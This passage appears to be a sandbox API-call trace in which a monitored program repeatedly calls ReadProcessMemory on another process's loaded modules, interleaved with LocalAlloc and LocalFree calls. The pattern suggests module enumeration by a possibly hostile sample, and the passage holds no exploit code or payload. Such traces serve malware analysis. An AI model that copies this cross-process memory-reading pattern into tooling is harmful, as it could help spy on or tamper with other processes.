lpBuffer=0x1d0400, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0400*, lpNumberOfBytesRead=0x0) returned 1 [0062.146] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x1eddc0 [0062.146] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefcc200e8, lpBuffer=0x1eddc0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1eddc0*, lpNumberOfBytesRead=0x0) returned 1 [0062.146] LocalFree (hMem=0x1d0400) returned 0x0 [0062.146] LocalFree (hMem=0x1eddc0) returned 0x0 [0062.146] LocalFree (hMem=0x1ee2e0) returned 0x0 [0062.146] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x389b90, lpBuffer=0x12fbb0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fbb0*, lpNumberOfBytesRead=0x0) returned 1 [0062.146] LocalAlloc (uFlags=0x40, uBytes=0x16) returned 0x1d0400 [0062.146] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x388ac8, lpBuffer=0x1d0400, nSize=0x16, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0400*, lpNumberOfBytesRead=0x0) returned 1 [0062.146] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefd130000, lpBuffer=0x12fa50, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fa50*, lpNumberOfBytesRead=0x0) returned 1 [0062.146] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x1d0420 [0062.146] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefd1300e0, lpBuffer=0x1d0420, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0420*, lpNumberOfBytesRead=0x0) returned 1 [0062.146] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x1eddc0 [0062.146] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefd1300e0, lpBuffer=0x1eddc0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1eddc0*, lpNumberOfBytesRead=0x0) returned 1 [0062.146] LocalFree (hMem=0x1d0420) returned 0x0 [0062.146] LocalFree (hMem=0x1eddc0) returned 0x0 [0062.146] LocalFree (hMem=0x1d0400) returned 0x0 [0062.146] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x389c80, lpBuffer=0x12fbb0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fbb0*, lpNumberOfBytesRead=0x0) returned 1 [0062.146] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x1d0400 [0062.146] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x388bb8, lpBuffer=0x1d0400, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0400*, lpNumberOfBytesRead=0x0) returned 1 [0062.147] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefcbb0000, lpBuffer=0x12fa50, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fa50*, lpNumberOfBytesRead=0x0) returned 1 [0062.147] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x1d0420 [0062.147] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefcbb00f0, lpBuffer=0x1d0420, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0420*, lpNumberOfBytesRead=0x0) returned 1 [0062.147] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x1eddc0 [0062.147] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefcbb00f0, lpBuffer=0x1eddc0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1eddc0*, lpNumberOfBytesRead=0x0) returned 1 [0062.147] LocalFree (hMem=0x1d0420) returned 0x0 [0062.147] LocalFree (hMem=0x1eddc0) returned 0x0 [0062.147] LocalFree (hMem=0x1d0400) returned 0x0 [0062.147] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x389d70, lpBuffer=0x12fbb0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fbb0*, lpNumberOfBytesRead=0x0) returned 1 [0062.147] LocalAlloc (uFlags=0x40, uBytes=0x14) returned 0x1d0400 [0062.147] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x388b68, lpBuffer=0x1d0400, nSize=0x14, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0400*, lpNumberOfBytesRead=0x0) returned 1 [0062.147] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefdfb0000, lpBuffer=0x12fa50, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fa50*, lpNumberOfBytesRead=0x0) returned 1 [0062.147] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x1d0420 [0062.147] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefdfb00f0, lpBuffer=0x1d0420, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0420*, lpNumberOfBytesRead=0x0) returned 1 [0062.147] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x1eddc0 [0062.147] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefdfb00f0, lpBuffer=0x1eddc0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1eddc0*, lpNumberOfBytesRead=0x0) returned 1 [0062.147] LocalFree (hMem=0x1d0420) returned 0x0 [0062.147] LocalFree (hMem=0x1eddc0) returned 0x0 [0062.147] LocalFree (hMem=0x1d0400) returned 0x0 [0062.147] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x389e60, lpBuffer=0x12fbb0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fbb0*, lpNumberOfBytesRead=0x0) returned 1 [0062.147] LocalAlloc (uFlags=0x40, uBytes=0x14) returned 0x1d0400 [0062.147] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x388c08, lpBuffer=0x1d0400, nSize=0x14, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0400*, lpNumberOfBytesRead=0x0) returned 1 [0062.147] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefdea0000, lpBuffer=0x12fa50, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fa50*, lpNumberOfBytesRead=0x0) returned 1 [0062.148] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x1d0420 [0062.148] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefdea00f0, lpBuffer=0x1d0420, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0420*, lpNumberOfBytesRead=0x0) returned 1 [0062.148] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x1eddc0 [0062.148] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefdea00f0, lpBuffer=0x1eddc0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1eddc0*, lpNumberOfBytesRead=0x0) returned 1 [0062.148] LocalFree (hMem=0x1d0420) returned 0x0 [0062.148] LocalFree (hMem=0x1eddc0) returned 0x0 [0062.148] LocalFree (hMem=0x1d0400) returned 0x0 [0062.148] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x389f50, lpBuffer=0x12fbb0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fbb0*, lpNumberOfBytesRead=0x0) returned 1 [0062.148] LocalAlloc (uFlags=0x40, uBytes=0x1a) returned 0x1ee2e0 [0062.148] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x389068, lpBuffer=0x1ee2e0, nSize=0x1a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1ee2e0*, lpNumberOfBytesRead=0x0) returned 1 [0062.148] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefcba0000, lpBuffer=0x12fa50, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fa50*, lpNumberOfBytesRead=0x0) returned 1 [0062.148] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x1d0400 [0062.148] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefcba00e8, lpBuffer=0x1d0400, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0400*, lpNumberOfBytesRead=0x0) returned 1 [0062.148] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x1eddc0 [0062.148] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefcba00e8, lpBuffer=0x1eddc0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1eddc0*, lpNumberOfBytesRead=0x0) returned 1 [0062.148] LocalFree (hMem=0x1d0400) returned 0x0 [0062.148] LocalFree (hMem=0x1eddc0) returned 0x0 [0062.148] LocalFree (hMem=0x1ee2e0) returned 0x0 [0062.148] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x38a040, lpBuffer=0x12fbb0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fbb0*, lpNumberOfBytesRead=0x0) returned 1 [0062.148] LocalAlloc (uFlags=0x40, uBytes=0x14) returned 0x1d0400 [0062.148] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3890b8, lpBuffer=0x1d0400, nSize=0x14, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0400*, lpNumberOfBytesRead=0x0) returned 1 [0062.148] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefcb70000, lpBuffer=0x12fa50, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fa50*, lpNumberOfBytesRead=0x0) returned 1 [0062.149] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x1d0420 [0062.149] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefcb700f0, lpBuffer=0x1d0420, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0420*, lpNumberOfBytesRead=0x0) returned 1 [0062.149] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x1eddc0 [0062.149] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefcb700f0, lpBuffer=0x1eddc0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1eddc0*, lpNumberOfBytesRead=0x0) returned 1 [0062.149] LocalFree (hMem=0x1d0420) returned 0x0 [0062.149] LocalFree (hMem=0x1eddc0) returned 0x0 [0062.149] LocalFree (hMem=0x1d0400) returned 0x0 [0062.149] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x38a130, lpBuffer=0x12fbb0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fbb0*, lpNumberOfBytesRead=0x0) returned 1 [0062.149] LocalAlloc (uFlags=0x40, uBytes=0x16) returned 0x1d0400 [0062.149] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x388e38, lpBuffer=0x1d0400, nSize=0x16, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0400*, lpNumberOfBytesRead=0x0) returned 1 [0062.149] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefcb20000, lpBuffer=0x12fa50, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fa50*, lpNumberOfBytesRead=0x0) returned 1 [0062.149] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x1d0420 [0062.149] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefcb200f0, lpBuffer=0x1d0420, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0420*, lpNumberOfBytesRead=0x0) returned 1 [0062.149] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x1eddc0 [0062.149] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefcb200f0, lpBuffer=0x1eddc0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1eddc0*, lpNumberOfBytesRead=0x0) returned 1 [0062.149] LocalFree (hMem=0x1d0420) returned 0x0 [0062.149] LocalFree (hMem=0x1eddc0) returned 0x0 [0062.149] LocalFree (hMem=0x1d0400) returned 0x0 [0062.149] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x38a220, lpBuffer=0x12fbb0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fbb0*, lpNumberOfBytesRead=0x0) returned 1 [0062.149] LocalAlloc (uFlags=0x40, uBytes=0x16) returned 0x1d0400 [0062.149] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x388cf8, lpBuffer=0x1d0400, nSize=0x16, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0400*, lpNumberOfBytesRead=0x0) returned 1 [0062.149] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefcaf0000, lpBuffer=0x12fa50, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fa50*, lpNumberOfBytesRead=0x0) returned 1 [0062.150] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x1d0420 [0062.150] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefcaf00f0, lpBuffer=0x1d0420, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0420*, lpNumberOfBytesRead=0x0) returned 1 [0062.150] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x1eddc0 [0062.150] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefcaf00f0, lpBuffer=0x1eddc0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1eddc0*, lpNumberOfBytesRead=0x0) returned 1 [0062.150] LocalFree (hMem=0x1d0420) returned 0x0 [0062.150] LocalFree (hMem=0x1eddc0) returned 0x0 [0062.150] LocalFree (hMem=0x1d0400) returned 0x0 [0062.150] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x38a310, lpBuffer=0x12fbb0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fbb0*, lpNumberOfBytesRead=0x0) returned 1 [0062.150] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x1d0400 [0062.150] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x388d98, lpBuffer=0x1d0400, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0400*, lpNumberOfBytesRead=0x0) returned 1 [0062.150] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x74e60000, lpBuffer=0x12fa50, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fa50*, lpNumberOfBytesRead=0x0) returned 1 [0062.150] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x1d0420 [0062.150] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x74e600b8, lpBuffer=0x1d0420, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0420*, lpNumberOfBytesRead=0x0) returned 1 [0062.150] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x1eddc0 [0062.150] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x74e600b8, lpBuffer=0x1eddc0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1eddc0*, lpNumberOfBytesRead=0x0) returned 1 [0062.150] LocalFree (hMem=0x1d0420) returned 0x0 [0062.150] LocalFree (hMem=0x1eddc0) returned 0x0 [0062.150] LocalFree (hMem=0x1d0400) returned 0x0 [0062.150] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x38a400, lpBuffer=0x12fbb0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fbb0*, lpNumberOfBytesRead=0x0) returned 1 [0062.150] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x1d0400 [0062.150] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x389018, lpBuffer=0x1d0400, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0400*, lpNumberOfBytesRead=0x0) returned 1 [0062.150] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefca90000, lpBuffer=0x12fa50, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fa50*, lpNumberOfBytesRead=0x0) returned 1 [0062.151] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x1d0420 [0062.151] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefca900e8, lpBuffer=0x1d0420, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0420*, lpNumberOfBytesRead=0x0) returned 1 [0062.151] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x1eddc0 [0062.151] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefca900e8, lpBuffer=0x1eddc0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1eddc0*, lpNumberOfBytesRead=0x0) returned 1 [0062.151] LocalFree (hMem=0x1d0420) returned 0x0 [0062.151] LocalFree (hMem=0x1eddc0) returned 0x0 [0062.151] LocalFree (hMem=0x1d0400) returned 0x0 [0062.151] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x38a4f0, lpBuffer=0x12fbb0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fbb0*, lpNumberOfBytesRead=0x0) returned 1 [0062.151] LocalAlloc (uFlags=0x40, uBytes=0x1a) returned 0x1ee2e0 [0062.151] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3892e8, lpBuffer=0x1ee2e0, nSize=0x1a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1ee2e0*, lpNumberOfBytesRead=0x0) returned 1 [0062.151] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefca60000, lpBuffer=0x12fa50, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fa50*, lpNumberOfBytesRead=0x0) returned 1 [0062.151] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x1d0400 [0062.151] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefca600e8, lpBuffer=0x1d0400, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0400*, lpNumberOfBytesRead=0x0) returned 1 [0062.151] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x1eddc0 [0062.151] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefca600e8, lpBuffer=0x1eddc0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1eddc0*, lpNumberOfBytesRead=0x0) returned 1 [0062.151] LocalFree (hMem=0x1d0400) returned 0x0 [0062.151] LocalFree (hMem=0x1eddc0) returned 0x0 [0062.151] LocalFree (hMem=0x1ee2e0) returned 0x0 [0062.151] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x38a5e0, lpBuffer=0x12fbb0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fbb0*, lpNumberOfBytesRead=0x0) returned 1 [0062.151] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x1d0400 [0062.151] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x389338, lpBuffer=0x1d0400, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0400*, lpNumberOfBytesRead=0x0) returned 1 [0062.151] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefcf20000, lpBuffer=0x12fa50, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fa50*, lpNumberOfBytesRead=0x0) returned 1 [0062.151] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x1d0420 [0062.152] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefcf200f0, lpBuffer=0x1d0420, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0420*, lpNumberOfBytesRead=0x0) returned 1 [0062.152] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x1eddc0 [0062.152] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefcf200f0, lpBuffer=0x1eddc0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1eddc0*, lpNumberOfBytesRead=0x0) returned 1 [0062.152] LocalFree (hMem=0x1d0420) returned 0x0 [0062.152] LocalFree (hMem=0x1eddc0) returned 0x0 [0062.152] LocalFree (hMem=0x1d0400) returned 0x0 [0062.152] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x38a6d0, lpBuffer=0x12fbb0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fbb0*, lpNumberOfBytesRead=0x0) returned 1 [0062.152] LocalAlloc (uFlags=0x40, uBytes=0x1c) returned 0x1ee2e0 [0062.152] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x389388, lpBuffer=0x1ee2e0, nSize=0x1c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1ee2e0*, lpNumberOfBytesRead=0x0) returned 1 [0062.152] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefcf80000, lpBuffer=0x12fa50, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fa50*, lpNumberOfBytesRead=0x0) returned 1 [0062.152] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x1d0400 [0062.152] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefcf800f0, lpBuffer=0x1d0400, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0400*, lpNumberOfBytesRead=0x0) returned 1 [0062.152] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x1eddc0 [0062.152] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefcf800f0, lpBuffer=0x1eddc0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1eddc0*, lpNumberOfBytesRead=0x0) returned 1 [0062.152] LocalFree (hMem=0x1d0400) returned 0x0 [0062.152] LocalFree (hMem=0x1eddc0) returned 0x0 [0062.152] LocalFree (hMem=0x1ee2e0) returned 0x0 [0062.152] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x38a7c0, lpBuffer=0x12fbb0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fbb0*, lpNumberOfBytesRead=0x0) returned 1 [0062.152] LocalAlloc (uFlags=0x40, uBytes=0x1a) returned 0x1ee2e0 [0062.152] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3894c8, lpBuffer=0x1ee2e0, nSize=0x1a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1ee2e0*, lpNumberOfBytesRead=0x0) returned 1 [0062.152] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefc9a0000, lpBuffer=0x12fa50, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fa50*, lpNumberOfBytesRead=0x0) returned 1 [0062.152] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x1d0400 [0062.152] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefc9a00f0, lpBuffer=0x1d0400, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0400*, lpNumberOfBytesRead=0x0) returned 1 [0062.153] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x1eddc0 [0062.153] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefc9a00f0, lpBuffer=0x1eddc0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1eddc0*, lpNumberOfBytesRead=0x0) returned 1 [0062.153] LocalFree (hMem=0x1d0400) returned 0x0 [0062.153] LocalFree (hMem=0x1eddc0) returned 0x0 [0062.153] LocalFree (hMem=0x1ee2e0) returned 0x0 [0062.153] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x38a8b0, lpBuffer=0x12fbb0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fbb0*, lpNumberOfBytesRead=0x0) returned 1 [0062.153] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x1d0400 [0062.153] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3895b8, lpBuffer=0x1d0400, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0400*, lpNumberOfBytesRead=0x0) returned 1 [0062.153] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefc980000, lpBuffer=0x12fa50, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fa50*, lpNumberOfBytesRead=0x0) returned 1 [0062.153] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x1d0420 [0062.153] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefc9800e8, lpBuffer=0x1d0420, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0420*, lpNumberOfBytesRead=0x0) returned 1 [0062.153] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x1eddc0 [0062.153] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefc9800e8, lpBuffer=0x1eddc0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1eddc0*, lpNumberOfBytesRead=0x0) returned 1 [0062.153] LocalFree (hMem=0x1d0420) returned 0x0 [0062.153] LocalFree (hMem=0x1eddc0) returned 0x0 [0062.153] LocalFree (hMem=0x1d0400) returned 0x0 [0062.153] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x38a9a0, lpBuffer=0x12fbb0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fbb0*, lpNumberOfBytesRead=0x0) returned 1 [0062.153] LocalAlloc (uFlags=0x40, uBytes=0x16) returned 0x1d0400 [0062.153] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x389608, lpBuffer=0x1d0400, nSize=0x16, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0400*, lpNumberOfBytesRead=0x0) returned 1 [0062.153] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefdbd0000, lpBuffer=0x12fa50, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fa50*, lpNumberOfBytesRead=0x0) returned 1 [0062.153] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x1d0420 [0062.153] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefdbd00e0, lpBuffer=0x1d0420, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0420*, lpNumberOfBytesRead=0x0) returned 1 [0062.154] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x1eddc0 [0062.154] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefdbd00e0, lpBuffer=0x1eddc0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1eddc0*, lpNumberOfBytesRead=0x0) returned 1 [0062.154] LocalFree (hMem=0x1d0420) returned 0x0 [0062.154] LocalFree (hMem=0x1eddc0) returned 0x0 [0062.154] LocalFree (hMem=0x1d0400) returned 0x0 [0062.154] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x38aa90, lpBuffer=0x12fbb0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fbb0*, lpNumberOfBytesRead=0x0) returned 1 [0062.154] LocalAlloc (uFlags=0x40, uBytes=0x10) returned 0x1d0400 [0062.154] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3a8608, lpBuffer=0x1d0400, nSize=0x10, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0400*, lpNumberOfBytesRead=0x0) returned 1 [0062.154] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefe080000, lpBuffer=0x12fa50, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fa50*, lpNumberOfBytesRead=0x0) returned 1 [0062.154] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x1d0420 [0062.154] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefe0800f0, lpBuffer=0x1d0420, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0420*, lpNumberOfBytesRead=0x0) returned 1 [0062.154] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x1eddc0 [0062.154] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefe0800f0, lpBuffer=0x1eddc0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1eddc0*, lpNumberOfBytesRead=0x0) returned 1 [0062.154] LocalFree (hMem=0x1d0420) returned 0x0 [0062.154] LocalFree (hMem=0x1eddc0) returned 0x0 [0062.154] LocalFree (hMem=0x1d0400) returned 0x0 [0062.154] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x38ab80, lpBuffer=0x12fbb0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fbb0*, lpNumberOfBytesRead=0x0) returned 1 [0062.154] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x1d0400 [0062.154] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3896a8, lpBuffer=0x1d0400, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0400*, lpNumberOfBytesRead=0x0) returned 1 [0062.154] ReadProcessMemory (in: 